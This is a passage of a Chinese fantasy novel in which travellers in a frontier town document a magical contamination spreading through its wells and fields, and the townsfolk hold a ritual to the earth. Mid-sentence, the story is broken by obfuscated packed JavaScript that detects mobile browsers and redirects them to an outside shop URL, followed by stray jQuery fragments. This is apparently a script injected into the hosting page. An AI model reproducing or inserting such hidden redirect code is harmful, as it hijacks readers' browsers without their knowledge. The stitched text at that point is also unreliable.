吃完饭艾莉西亚上楼继续抄录海瑟的记录。她把十年前的原始数据和今年上个月的变质数据逐项对比，在纸上画出了一条魔力浓度变化的曲线。曲线一开始平缓，在最近三个月陡然变陡，像一条蛇从匍匐变成了昂起头。
格蕾塔在灶房帮贝丝洗碗。水流声和碗碟轻碰的声音从门帘后面传出来，夹杂着极低声的交谈，听不清内容。
玛丽玛丽坐在厅堂桌边，把地图摊开。绿溪镇在地图上是一个小点，往北是山路，山路尽头是边境哨站，哨站以北七百里是禁域。从绿溪镇到禁域，在地图上只有一截指节的长度。这截指节的距离，魔力污染走了一个多月。按照艾莉西亚的曲线，下一个多月它会走得更远。
流栖灯从楼上下来，手里拿着一样东西——一块叠得方方正正的布。她走到玛丽玛丽对面坐下，把布放在桌上展开。是一块手帕大小的浅色麻布，上面用炭笔画着绿溪镇的简图。主街。五口井的位置。老桑妮家。海瑟的住处。铁匠铺，门上画了一把锁和一块写着“往南”的布条。镇口那棵老槐树，树冠一半枯一半活。镇外的田地，麦子画成倒伏的。每一处旁边写着极小的字，字迹工整但笔画带着生疏——不是这个世界的文字。
“这是我今天下午看到的。”她把麻布转了半圈让玛丽玛丽看得更清楚，“我不知道什么有用什么没用，就先都记下来。”
玛丽玛丽低头看那块麻布。炭笔的线条很轻，有些地方被手蹭糊了，但每一条线都画得认真。镇北的井旁边写着“铁锈味，四级”；老桑妮家旁边画了一个小小的圆形，大概代表孩子，旁边写着“疹子，痒，睡不好”；镇口槐树上标了“一半死了”；镇南空房子旁边标了铁匠离开的日期。
她在布面的右下角看到一行小字，写得很小，像是怕占太多地方——“这里的人知道自己欠了什么，但不记得欠的是谁。她们在还一笔记不清账目的债。”
玛丽玛丽把麻布推回去。“炭笔容易蹭掉。明天找贝丝要一块炭，用炭条画，比炭笔经留。”
流栖灯把麻布叠好收进口袋里。她叠得很慢，沿着画之前就折好的折痕一道一道压平。“我今天在老桑妮家巷子口站了很久。那个孩子趴在窗口看我，看了半天，然后举起手冲我晃了晃。她手上也起了疹子。”她把叠好的麻布按了按，“她没哭，也没笑，就是看着我。好像看我是一件很新鲜的事。”
“后来呢。”
“后来她奶奶把她从窗口抱走了。窗户关上了。”流栖灯把麻布放进外衣口袋，用手掌压了压让它贴服。“我站在巷子里听见她在屋里跟奶奶说了一句话。说，那个人头发是黑的。奶奶说，嗯。她说，像马。”
玛丽玛丽没有笑。流栖灯也没有笑。楼上传来艾莉西亚翻动纸页的声音，很轻，纸与纸之间的摩-擦声在安静的客店里听得清楚。灶房里的水流声停了，格蕾塔和贝丝还在里面说着什么，声音压得很低像怕被厅堂里的人听见。
“你怕吗。”流栖灯忽然问。
玛丽玛丽看着她。
“从帝都出来到现在，我没问过你这个问题。”流栖灯把手从外衣口袋上拿下来放在桌上，手指交叠着，“我怕很多东西。怕骑马，怕林子里那片什么都看不见的东西，怕井水里的铁锈味，怕那个孩子手上的疹子。也怕——”她停了一下，“也怕我到最后什么都做不了，只能把这些画在布上。”
玛丽玛丽把地图卷起来收好。地图的纸边磨出了毛，在帝都时还是新的，走了三天已经旧了。
“怕和做是两回事。怕着也可以做。”
流栖灯把这句话在心里放了一会儿，然后站起来。“我明天去帮格蕾塔。她一个人跑不过来。”她上楼去了，脚步比昨晚轻。
玛丽玛丽坐在厅堂里。客店的门还开着，夜风从门口灌进来带着灰白色粉末的气味——那种没有味道的味道。门外的绿溪镇浸在黑暗里，几扇窗户亮着昏黄的光，这里一盏那里一盏，彼此隔得很远。镇北那棵槐树的轮廓在夜色里几乎看不见，只有枯枝被风吹动时在某一扇亮着的窗光前一闪而过，像一只干瘦的手在暗处招了一下。
海瑟家的灯也亮着。隔着大半个镇子，那盏灯的光透不过这么远的夜，但玛丽玛丽知道它亮着。海瑟大概坐在桌前，桌上放着那只茶渍干涸的杯子和边境哨站的三封回信。明天艾莉西亚会把记录本还给她。本子还了，数据抄走了，模型会建起来，污染扩散的速度会被算出来。但井水不会因此变回去。老桑妮家的小孙女明天还会痒。
玛丽玛丽站起来关上客店的门。门闩是木头的，磨得光滑，推上去的时候发出沉闷的声响。门关上之后，夜风被挡在外面，厅堂里一下子安静得能听见灶房余烬冷却时极细微的收缩声。
她上楼。艾莉西亚的房间门开着，里面点着油灯。艾莉西亚趴在桌上，面前摊着海瑟的记录本和自己的抄录纸，炭笔还握在手里，人已经睡着了。脸颊压着一页抄满数据的纸，呼吸平稳而慢，把纸边吹得微微翕动。窗户没关严，风从窗缝里挤进来，油灯的火苗轻轻晃着，把她投在墙上的影子也晃着。
玛丽玛丽走过去把窗户关紧。窗台上有薄薄一层灰白色粉末，她的手指在窗台上按出几个印子。她把艾莉西亚手里的炭笔轻轻抽出来放在桌上，从床上拉过毯子搭在她肩上。艾莉西亚动了一下，把脸转向另一边继续睡。毯子滑下来一角，玛丽玛丽没有再去动它。
桌上摊开的抄录纸上，艾莉西亚画的那条曲线末端向上扬起，在纸的边缘戛然而止。曲线旁边写了一行很小的字——“十天。十天之后绿溪镇没有能喝的水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537896|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”字迹和流栖灯在麻布上写的一样小，像怕字太大了事情就会变得更真。
玛丽玛丽回到自己房间。格蕾塔已经回来了，坐在床边正在往医疗包裹里补充银叶草干粉。粉末从布袋倒进小瓷瓶，她的手很稳，瓷瓶口那么小，粉末没有洒出来一粒。
“贝丝跟我说了一件事。”格蕾塔把瓷瓶塞紧放进包裹，“她说镇上有几个老人这几天在商量一件事。要不要在镇口槐树底下办一场祭祀。”
“祭祀什么。”
“祭祀土地。井水变味，庄稼发灰，她们觉得是土地出了问题。办了祭祀，土地干净了，水就能变回去。”格蕾塔把医疗包裹的系带收紧打了一个结，“贝丝说她知道没用。但她说，没用也办吧。办了大家心里有个东西抓着。”
玛丽玛丽在床边坐下来脱掉鞋子。鞋底磨薄了，在帝都时还是半新的，走了三天已经开始显出磨损的纹路。
“你答应她了。”
“答应了。明天下午，镇口槐树底下。”格蕾塔把医疗包裹放在床脚，躺下来拉过被子，“她们需要一个不信的人也站在那里。”
窗外风大了。后院晾衣绳上的衣服被风吹得猎猎作响，空了的晾衣绳在风里发出嗡嗡的震颤声。马厩里的马匹挪动着蹄子，黑马低低地喷了一个响鼻。然后风停了，所有的声音都停了。绿溪镇沉进一种厚重的、几乎能听见自己心跳的安静里。
第二天一早，镇口槐树底下聚了人。
贝丝天没亮就起来把消息传出去了。她没敲锣没张贴，就是去菜摊、去井边、去还开着门的铺子里，跟见到的人说了一声。消息在镇子里自己走，从一个人到另一个人，从一条巷子到另一条巷子。太阳升起来的时候，槐树底下站了二十多个人。大多是老人，有几个中年，孩子只有一个——老桑妮没来，她的孙女不能出门吹风。
格蕾塔站在槐树下，穿着神殿的深色袍子，手里没有拿任何法器。她不是来主持祭祀的，镇上也没有神职人员。主持的是镇里年纪最大的一个老人，头发全白了，稀疏地拢在脑后，手里拄着一根竹杖。她从家里带来一只陶碗和一小袋麦子。麦子是今年收的，颜色灰黄。
老人把陶碗放在槐树根上，往碗里倒了半碗麦子。她的手稳，麦粒落进碗里沙沙地响，一粒都没有洒出来。然后她把手放在槐树皲裂的树皮上，闭上眼睛，嘴唇动着，声音很低，低到只有站在最前面的人才能听见几个字。
“——地母在上——水——回来——”
后面的人跟着低下头。没有人出声，连咳嗽都忍住了。风从北边吹过来，带着灰白色粉末，落在人们的头发上、肩上、交握的手背上。没有人去拍。槐树的枯枝在风里轻轻晃动，另一半活着的枝叶发出沙沙的声响，像在替那些不出声的人说着什么。